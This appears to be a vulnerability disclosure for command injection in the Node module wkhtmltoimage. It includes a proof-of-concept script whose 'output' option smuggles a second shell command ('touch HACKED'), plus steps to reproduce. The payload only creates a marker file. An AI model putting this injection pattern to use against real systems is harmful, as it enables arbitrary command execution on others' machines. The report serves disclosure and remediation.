Code Injection in timstudd/node-wkhtmltoimage


Reported on

May 2nd 2020


The wkhtmltoimage module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var wkhtmltoimage = require('wkhtmltoimage');
wkhtmltoimage.generate("test", {output:"test; touch HACKED; #"}, function(){});

  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i wkhtmltoimage # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created


to join this conversation